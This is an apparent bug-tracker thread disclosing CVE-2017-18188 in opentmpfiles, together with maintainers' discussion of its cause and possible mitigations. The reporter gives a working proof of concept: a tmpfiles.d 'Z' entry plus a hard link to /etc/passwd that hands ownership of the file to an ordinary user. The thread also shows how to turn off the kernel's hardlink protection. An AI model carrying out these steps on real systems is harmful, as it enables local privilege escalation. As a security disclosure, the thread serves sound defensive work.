CVE-2017-18188: Unsafe use of recursive chown in "Z" support

[orlitzky]

The tmpfiles.d specification for the Z type more or less implies some kind of recursive chown. The spec heads off one type of vulnerability by saying that symlinks should not be followed; however, hard links are still a problem. Consider the following:

$ cat /etc/tmpfiles.d/exploit-recursive.conf 
d /var/lib/opentmpfiles-exploit-recursive 0755 mjo mjo
Z /var/lib/opentmpfiles-exploit-recursive 0755 mjo mjo

The first time that opentmpfiles-setup is launched, everything is fine. But then my "mjo" user owns the directory in question, and I can create a hard link...

$ ln /etc/passwd /var/lib/opentmpfiles-exploit-recursive/x

and restart opentmpfiles-setup...

$ sudo /etc/init.d/opentmpfiles-setup restart
 * WARNING: you are stopping a boot service
 * Setting up tmpfiles.d entries ...                                      [ ok ]

and now I own /etc/passwd!

$ /bin/ls -l /etc/passwd
-rwxr-xr-x 2 mjo mjo 1504 Dec 20 14:27 /etc/passwd

This happens, ultimately, because chown -R will "follow" a hard link. This same problem was addressed in OpenRC's checkpath helper in Gentoo bug 540006.

[williamh]

Looking at this briefly, it looks like ultimately the issue is in chown.
Otherwise, I think the only way I could fix this would be to check everything and make sure it had only one hard link.

[orlitzky]

I would say the problem is in the tmpfiles.d specification. Ultimately, there's no reason why you should ever have to "fix" permissions at startup: temporary directories will be gone, so you can create them anew with the correct permissions (mkdir/chown the top-level directory, and then drop privileges to create the rest); and non-temporary directories should still be there from before.

But, the tmpfiles.d specification allows it, so people do it. And it turns out to be impossible to adjust permissions on user-controlled files in a safe manner using only POSIX features. Systemd uses a Linux-specific trick to do it safely. The way chown works is specified by POSIX -- so that's not going to change. The best we can do is try to fake this with a "hardlink count" check as was done in checkpath. That leaves a race condition, but it can't be helped if we want to support tmpfiles.d in OpenRC. And of course it would require this whole thing to be rewritten in C...

[l29ah]

How do i create a hardlink?

l29ahZl29ah-x201 /tmp ‰ mkdir tasty
l29ahZl29ah-x201 /tmp ‰ cd tasty
l29ahZl29ah-x201 /tmp/tasty ‰ ln /etc/passwd loh
ln: failed to create hard link 'loh' => '/etc/passwd': Operation not permitted

[orlitzky]

Gentoo (and many other distributions) patch the linux kernel to disallow these hardlinks by default:

mjo@jumba ~ $ sudo sysctl fs.protected_hardlinks
fs.protected_hardlinks = 1

To allow them (like the vanilla Linux kernel does), you'll have to set that sysctl to zero.

[l29ah]

I run the vanilla kernel.

[l29ah]

Oh, apparently i've set the sysctl myself, nvm.